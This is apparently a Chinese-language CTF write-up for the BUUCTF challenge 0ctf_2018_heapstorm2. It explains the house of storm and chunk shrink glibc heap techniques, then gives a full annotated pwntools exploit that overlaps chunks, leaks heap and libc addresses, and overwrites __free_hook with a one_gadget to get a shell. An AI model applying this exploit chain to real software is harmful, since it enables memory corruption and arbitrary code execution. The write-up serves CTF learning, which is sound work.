（BUUCTF）0ctf_2018

（BUUCTF）0ctf_2018_heapstorm2

文章目录

前置知识
整体思路
- house of storm
- - 如何进行一次house of storm
  - house of storm原理
  - house of storm具体流程
- chunk shrink
exp

前置知识

unsortedbin attack
largebin attack
off by null构造chunk shrink

整体思路

这道题即是house of storm。除了house of storm，本道题还需要通过chunk shrink来获得重叠指针。因此本文将分别写house of storm和chunk shrink两个方面。看完了原理，可以结合我的exp，有详细每一步的注释。

house of storm

如何进行一次house of storm

你可以做到：

任意地址的chunk分配

你需要完成：

控制一个unsortedbin和largebin中的chunk，且unsortedbin中的要比largebin中的大

house of storm原理

一句话描述一下house of storm：通过largebin attack在fake chunk的header上错位写下一个0x55或0x56的size，并在fake chunk的bk处写一个堆地址。控制unsortedbin的chunk的bk指向要申请的fake chunk。申请一个大小为0x50的chunk，先触发largebin attack，从而根据unsortedbin的bk申请到fake chunk，完成任意地址写。

这实际上分为两个部分，首先，我们要知道，unsortedbin attack并非只能在指定位置写一个libc地址，还可以类似于fastbin attack完成一个chunk的分配，只是条件比较苛刻。一句话就是需要unsortedbin的bk指向的chunk的bk可写，其size合法。

那么我们便可以利用largebin attack来完成这些条件：

largebinattack可以写两个值
第一个值错位写要申请的地方的size，使得堆地址最开始的0x55或者0x56为size
第二个值写要申请的地方的bk，使得bk为一个可写的值
然后申请大小为0x50的chunk即可申请到unsortedbin的bk

house of storm具体流程

假设要分配到fake chunk
写unsortedbin的chunk的bk为fake chunk的地址
写largebin中的chunk的bk为fake chunk + 0x18 - 0x10
写largebin中的chunk的bk_nextsize为fake chunk + 0x3 - 0x20
申请一个大小为0x50的chunk

chunk shrink

上面我们提到需要控制unsortedbin和largebin中的chunk，这一部分需要获得重叠指针。

chunk shrink算是另一种off by null的利用，相比于三明治结构要比较复杂。适用于一些极端情况。

使用方法：小大小三个chunk（不能是fastbin大小），设为abc。b为0x510（例如），在其最末尾写fake prev_size为0x500，释放b置入unsortedbin，通过a进行off by null将b的size变为0x500。申请几个加起来为0x500的chunk，第一个不能为fastbin大小，例如三个为0x88，0x18，0x448，设为def。先后释放d和c，将会导致最开始申请的b和c合并，由此再次申请回d，再申请回e可以获得重叠的e指针。

exp

from pwn import *
from LibcSearcher import *

filename = './0ctf_2018_heapstorm2'
context(log_level='debug')
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = 'Command: '

menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = ''

menu_del = 3
del_index_words = 'Index: '

menu_show = 4
show_index_words = 'Index: '

menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = 'Size: '
edit_content_words = 'Content: '

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

while True:
    if local:
        sh = process(filename)
    else:
        sh = remote('node4.buuoj.cn', )


    # 第一步，利用off by null来构造chunk shrink进而分别获得重叠的一个largebin和一个unsortedbin chunk
    add(size=0x18) # 0
    add(size=0x508) # 1
    add(size=0x18) # 2
    add(size=0x20) # 3防止合并

    # 待会我们会将size为0x510的chunk进行off by null缩小到0x500，因此先在末尾写一个fake prev_size为0x500
    payload = b'a'*0x4f0 + p64(0x500)
    edit(index=1, size=len(payload), content=payload)

    # 将大小为0x510的chunk添加到unsortedbin中去
    delete(index=1)

    # 通过chunk 0进行off by null，来将unsortedbin中的大小为0x510的chunk改为0x500
    payload = b'a'*(0x18 - 12)
    edit(index=0, size=len(payload), content=payload)

    # 申请两个chunk，加起来为0x500，且unsortedbin此时为空了
    add(size=0x18) # 1
    add(size=0x4d8) # 4

    # 释放chunk1和chunk2，chunk2释放的时候由于prev_inuse=0，而prev_size为0x510，因此会将最开始的chunk0和chunk1整个部分合并
    delete(index=1)
    delete(index=2)

    # 再申请回来从而获得重叠指针
    add(size=0x18) # 1
    add(size=0x4d8) # 2，和4重合，大小为0x4e0
    add(size=0x20) # 5

    # 下面这一部分和上面一模一样，没有任何区别
    add(size=0x18) # 6
    add(size=0x508) # 7
    add(size=0x18) # 8
    add(size=0x20) # 9防止合并

    payload = b'a'*0x4f0 + p64(0x500)
    edit(index=7, size=len(payload), content=payload)

    delete(index=7)

    payload = b'a'*(0x18 - 12)
    edit(index=6, size=len(payload), content=payload)

    add(size=0x38) # 7
    add(size=0x4b8) # 10

    delete(index=7)
    delete(index=8)

    add(size=0x38) # 7
    add(size=0x4b8) # 8，和10重合，大小为0x4c0
    add(size=0x20) # 11

    # 先后将小的和大的置入unsortedbin，然后申请回大的。
    # 由于unsortedbin是先遍历先进入的（FIFO），因此会将小的置入largebin
    # 再释放大的，大的会添加到unsortedbin。现在大小为0x4e0的chunk在unsortedbin而大小为0x4c0的chunk在largebin
    delete(index=8)
    delete(index=2)
    add(size=0x4d8) # 2
    delete(index=2)

    # 接下来开始house of storm。
    # 我们设fake chunk在0x13370800前面0x20，以便于我们控制这一部分
    array = 0x13370800
    fake_chunk = array - 0x20

    # unsortedbin的chunk中的bk改为要申请的chunk，这里即是我们的fake chunk
    payload = p64(0) + p64(fake_chunk)
    edit(index=4, size=len(payload), content=payload)

    # laregbin attack可以同时写两个值为堆地址，bk的值+0x10处，以及bk_nextsize+0x20处
    # 核心的点就是我们要写fake_chunk + 3的地方为一个堆地址
    # 因为堆地址开头要么为0x55，要么为0x56，因此错位可以写出来一个fake chunk的size
    payload = p64(0) + p64(fake_chunk + 0x18 - 0x10) # 这里是fd和bk
    payload += p64(0) + p64(fake_chunk + 0x3 - 0x20) # 这里是fd_nextsize和bk_nextsize
    edit(index=10, size=len(payload), content=payload)

    # 由于我们这里是mmap出来的空间，因此申请的chunk的mmap位必须为1，因此只有当堆地址为0x56开头才对
    # 因此爆破。概率为1/2
    try:
        add(size=0x48) # 2
        payload = p64(0)*2 + p64(0)*3 + p64(0x13377331) + p64(0x13370800)
        edit(index=2, size=len(payload), content=payload)
    except EOFError:
        sh.close()
        continue
    
    # 申请到了，开始编辑，首先将两个用于加密的值都写为0，然后数组的第三个写为0x13377331从而可以打印
    # 然后根据数组的排列，下一个我们写0x133707e3，这里是一个堆地址
    payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(0x133707e3) + p64(8)
    edit(index=0, size=len(payload), content=payload)

    # 根据排列，现在index=1的话也就是0x133707e3，便可以泄露出堆地址
    show(index=1)
    sh.recvuntil('Chunk[1]: ')
    heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))
    leak_info('heap_base', heap_leak)
    heap_base = heap_leak - 0x40


    # 同理，我们再打印libc。heap_base + 0x50的地方有一个libc地址。
    payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(heap_base + 0x50) + p64(8)
    edit(index=0, size=len(payload), content=payload)

    show(index=1)
    sh.recvuntil('Chunk[1]: ')
    libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
    leak_info('libc_leak', libc_leak)
    libc.address = libc_leak - libc.sym['__malloc_hook'] - 0x58 - 0x10
    leak_info('libc.address', libc.address)

    # 接下来只需要以同样方式来打free_hook即可！
    payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(libc.sym['__free_hook']) + p64(8)
    edit(index=0, size=len(payload), content=payload)

    one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    payload = p64(libc.address + one_gadget[1])
    edit(index=1, size=len(payload), content=payload)
    
    delete(index=0)
    sh.interactive()
    # debug()
    break